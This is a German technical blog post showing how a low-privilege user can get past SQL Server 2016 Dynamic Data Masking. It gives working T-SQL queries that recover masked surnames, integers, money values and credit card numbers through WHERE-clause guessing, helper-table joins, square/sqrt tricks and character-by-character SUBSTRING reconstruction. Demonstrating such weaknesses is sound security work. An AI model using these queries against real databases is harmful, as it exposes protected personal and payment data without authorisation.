Dynamic Data Masking

In diesem Blog-Artikel wird aufgeführt, wie mit einfachen SQL Statements das Feature Dynamic Data Masking ausgetrickst werden kann. Dynamic Data Masking steht seit der SQL Server Version 2016 zur Verfügung.

Für die Demos wird die SQL Server Version 2016 (RTM) verwendet. Dies bedeutet, dass hier keine Services Packs oder kumulative Updates eingespielt wurden. Innerhalb des Artikels werden Hinweise aufgeführt, inwiefern die Demos mit Service Pack 1 noch funktionieren oder ob Microsoft hier Nachbesserungen eingespielt hat.

Maskierung anwenden:

- Nachname nvarchar(25)                      --> FUNCTION = 'partial(1,"XXXXX",2)'

- Kreditkartennummer nvarchar(25)   --> FUNCTION = 'partial(0, "XXXX-XXXX-XXXX",4)'

- Anzahl_Buchungen int                         --> FUNCTION = 'default()'

- Guthaben money                                  --> FUNCTION = 'default()'

- EmailAdress nvarchar(50)                    --> FUNCTION = 'email()'

- PhoneNumber nvarchar(25)                --> FUNCTION = 'default()'

--Beispiel-Tabelle erstellen:
CREATE TABLE [dbo].[Kunden](
KundenID int NOT NULL
,Vorname nvarchar(25) NOT NULL
,Nachname nvarchar(25) MASKED WITH (FUNCTION= 'partial(1,"XXXXX",2)') NOT NULL
,SSN nvarchar(11) NULL
,Kreditkartennummer nvarchar(25) MASKED WITH (FUNCTION= 'partial(0, "XXXX-XXXX-XXXX",4)')  NULL
,Anzahl_Buchungen int MASKED WITH (FUNCTION = 'default()')
,Guthaben money MASKED WITH (FUNCTION = 'default()')
,EmailAdress nvarchar(50) MASKED WITH (FUNCTION= 'email()') NULL
,PhoneNumber nvarchar(25) MASKED WITH (FUNCTION= 'default()') NULL
,TerritoryID int NULL
) 

--Beispiel Daten erzeugen
INSERT INTO [dbo].[Kunden] VALUES (21817,'Jerome','Carlson','833-14-5928', '11113048024782',345,345.67,'1 (11) 500 555-0113',10)
INSERT INTO [dbo].[Kunden] VALUES (28749,'Franklin','Zhou','830-44-4738','11111690396726',111,12.34,'1 (11) 500 555-0126',7)
INSERT INTO [dbo].[Kunden] VALUES (13137,'Jacqueline',       'Simmons','503-74-3629','11117795387216',555,555.66,'1 (11) 500 555-0154',9)
INSERT INTO [dbo].[Kunden] VALUES (27161,'Reginald','Gill','264-68-3579','77778040426895',1234,10.01,'1 (11) 500 555-0115',8)
INSERT INTO [dbo].[Kunden] VALUES (26666,'Ashlee','Beck','230-88-4172','11114332671991',25,999.99,'1 (11) 500 555-0168',9)
INSERT INTO [dbo].[Kunden] VALUES (25045, 'Paige','Russell','662-77-1127','55552942040493',678, 456.00,'273-555-0175',1) 

--Daten als sysadmin (unmaskiert) auslesen:
SELECT KundenID 
, Vorname 
, Nachname 
, SSN 
, Kreditkartennummer 
, Anzahl_Buchungen
, Guthaben
, PhoneNumber
, TerritoryID
FROM dbo.Kunden 

Alle nachfolgenden Demos werden unter dem Benutzer MaskingUser durchgeführt, welcher die Datensätze, durch die fehlende Berechtigung, nur maskiert sehen kann.

Der Benutzer wird mit dem nachfolgenden Befehl erstellt.

--Beispiel-User erstellen
CREATE USER MaskingUser WITHOUT LOGIN
GO

ALTER ROLE [db_datareader] ADD MEMBER [MaskingUser]
GO 

Der Benutzer MaskingUser hat keine UNMASK-Berechtigung. Das Ergebnis für MaskingUser ist unter Abbildung 2 zu sehen. Hier ist zu erkennen, dass alle Spalten eine entsprechende Maskierung, je nach Maskierungs-Funktion haben.

--Daten als MaskingUser (maskiert) auslesen
EXECUTE AS USER = 'MaskingUser'
SELECT KundenID
, Vorname
, Nachname
, SSN
, Kreditkartennummer
, Anzahl_Buchungen
, Guthaben
, PhoneNumber
, TerritoryID
FROM dbo.Kunden
REVERT; 

Maskierung durch WHERE-Bedingungen aushebeln:

Mittels einer einfachen WHERE-Abfrage kann der Benutzer die Maskierung in der Ausgabe zwar nicht aufheben, er gelangt jedoch an den korrekten Wert innerhalb der WHERE-Klausel (siehe Abbildung 3). Sicherlich muss der Benutzer hier etwas Aufwand betreiben, da er jedes Zeichen innerhalb der WHERE-Bedingung mit Wildcards überprüfen muss. In diesem Beispiel hat der Benutzer den korrekten Nachnamen (‚Beck') in die WHERE-Klausel eingetragen und erhält somit ein Ergebnis im Resultset.

--Daten durch WHERE-Bedingung herausfinden
EXECUTE AS USER = 'MaskingUser'
SELECT KundenID 
, Vorname 
, Nachname 
, SSN 
, Kreditkartennummer 
, Anzahl_Buchungen
, Guthaben
, PhoneNumber
, TerritoryID
FROM dbo.Kunden
WHERE Nachname = 'Beck'
REVERT; 

Maskierte Integer Werte unmaskiert anzeigen:

Auch das Auslesen von Integer-Datentypen ist möglich. Hierzu wird eine Hilfstabelle benötigt. Die Hilfstabelle hat eine Spalte, in der Zahlen von 1-10000 pro Zeile eingetragen sind.

--Hilfstabelle anlegen
CREATE TABLE numbers
(number int not null);
GO 

--Hilfstabelle befüllen (1-10000)
DECLARE  @i INT;
SELECT @i = 1;
SET NOCOUNT ON

WHILE @i <= 10000
BEGIN
    INSERT INTO numbers (number) VALUES (@i);
    SELECT @i = @i + 1;
END; 

In diesem Beispiel wird ein INNER-JOIN auf die Hilfstabelle durchgeführt und die korrekten Werte in der Spalte Anzahl_Buchungen_Unmasked ausgegeben. Hierbei handelt es sich um die Spalte aus der Hilfstabelle. Der Benutzer hat auf der eigentlichen Tabelle (dbo.Kunden) nicht das Recht die Spalte Anzahl_Buchungen unmaskiert zu sehen, welches im Result-Set durch diese Spalte bestätigt wird.

--Hilftabelle für JOIN-Abfrage verwenden
EXECUTE AS USER = 'MaskingUser'
SELECT k.KundenID
, k.Anzahl_Buchungen
, numbers.number AS Anzahl_Buchungen_Unmasked
FROM numbers
INNER JOIN dbo.Kunden k
  ON numbers.number=k.Anzahl_Buchungen
REVERT; 

Maskierte Integer/Money Werte unmaskiert anzeigen:

Hinweis: Funktioniert mit SQL Server 2016 SP1 ebenfalls, mit SP1 und CU 4 jedoch nicht mehr!

Eine weitere Möglichkeit bei INTEGER- und MONEY-Datentypen ist das Verwenden von internen Funktionen. Da der SQL Server sowohl eine Wurzel-Funktion (sqrt) als auch eine Quadrat-Funktion (square) bietet, können beide verwendet werden, um die ursprüngliche Zahl herauszufinden (siehe Abbildung 5).

--Wurzel- und Quadrat-Funktion verwenden
EXECUTE AS USER = 'MaskingUser'
SELECT Guthaben AS Guthaben_Masked
, Anzahl_Buchungen AS Anzahl_Buchungen_Masked
, square(sqrt(Guthaben)) AS Guthaben_Unmsaked
, square(sqrt(Anzahl_Buchungen)) AS Anzahl_Buchungen_Unmasked
FROM dbo.Kunden
REVERT; 

Maskierte Strings unmaskiert anzeigen:

Hinweis: Funktioniert auch mit SQL Server 2016 SP1 CU4.

Auch maskierte Strings können mit einer Hilfstabelle im Klartext angezeigt werden. Im ersten Beispiel (Abbildung 6) wird die erste Ziffer der jeweiligen Kreditkarte ausgegeben. Hierzu wird die SUBSTRING Funktion verwendet und aus der Spalte dbo.Kunden.Kreditkartennummer das erste Zeichen ausgelesen. Anschließend wird noch die ASCII-Funktion verwendet, sodass die Ausgabe als Zahl erfolgt.

--Verwendung der SUBSTRING- und ASCII-Funktion (1/2)
EXECUTE AS USER = 'MaskingUser'
SELECT KundenID
, char(numbers.number)
FROM numbers
INNER JOIN dbo.Kunden
  ON numbers.number=ascii(substring(Kunden.Kreditkartennummer,1,1))
REVERT; 

Die erste Möglichkeit liefert damit allerdings nur das erste Zeichen der Kreditkarte zurück. Mit dieser Information kann aber jetzt weiter ins Detail gegangen werden.

Mit einem zusätzlichen CROSS JOIN auf die Hilfstabelle wird jeder Datensatz mit einer aufsteigenden Zahl versehen. Somit wird der Datensatz mit der KundenID=21817 vierzehnmal gejoint, da die Kreditkartennummer 14 Zeichen enthält. Zum besseren Verständnis ist die entsprechende Spalte (TBL_Laenge.numbers AS laenge) mit in die Ausgabe des SELECT-Statements aufgenommen worden. Diese Spalte wird im nächsten Schritt in der SUBSTRING Funktion als Startposition verwendet.

Für eine bessere Verarbeitung wird das Ergebnis in eine temporäre Tabelle mittels SELECT INTO Befehl geschrieben. Eine Abfrage auf die temporäre Tabelle liefert jetzt pro KundenID und pro laenge (also Position) die korrekte Zahl der Kreditkartennummer. (Abbildung 7)

--Verwendung der SUBSTRING- und ASCII-Funktion (2/2)
EXECUTE AS USER = 'MaskingUser'
SELECT KundenID
, TBL_Laenge.number as laenge
, char(numbers.number) as Zahl
INTO #temp_tbl_2
FROM dbo.Kunden
CROSS JOIN dbo.numbers TBL_Laenge
INNER JOIN numbers
  ON numbers.number=ascii(substring (kunden.Kreditkartennummer,TBL_Laenge.number,1));

SELECT *
FROM #temp_tbl_2;
REVERT; 

Um die einzelnen Kreditkartenzahlen pro KundenID in eine Zeile zu bekommen, wird sich jetzt der XML-Funktion des SQL Servers bedient. (Abbildung 8)

Eine ausführliche Beschreibung für die hier verwendete XML-Funktion ist hier zu finden.

--Verwendung der XML-Funktion
EXECUTE AS USER = 'MaskingUser'
SELECT KundenID,
   (SELECT Zahl
   FROM #temp_tbl_2 Einzelne_Zeichen
   WHERE Kreditkarten.KundenID=Einzelne_Zeichen.KundenID
   ORDER BY Einzelne_Zeichen.laenge
   FOR XML PATH(''), TYPE).value('.', 'varchar(max)') UNMASKED_Kreditkarte
FROM #temp_tbl_2 Kreditkarten
GROUP BY KundenID;
REVERT; 

Zusammenfassung

Mit etwas Aufwand kann ein Benutzer die Funktion von Dynamic Data Masking umgehen. Im ersten Beispiel benötigte der entsprechende Benutzer nur Leseberechtigungen auf der Tabelle. Jetzt kann verständlicherweise gesagt werden, dass der Benutzer für alle weiteren Beispiele das Recht benötigt, eine Hilfstabelle anlegen zu dürfen. Für diese Beispiele trifft die Aussage zu. Der Benutzer kann jedoch auch einfach eine temporäre Tabelle anlegen. Dieses Recht muss ihm nicht explizit gegeben werden.

Mit diesem Artikel soll aufgezeigt werden, dass hinter Dynamic Data Masking ein schickes Feature steckt, jedoch mit sehr einfachen Mitteln das Ganze ausgetrickst werden kann. Sicherlich arbeitet Microsoft schon mit Hochdruck an der Verbesserung dieser Probleme.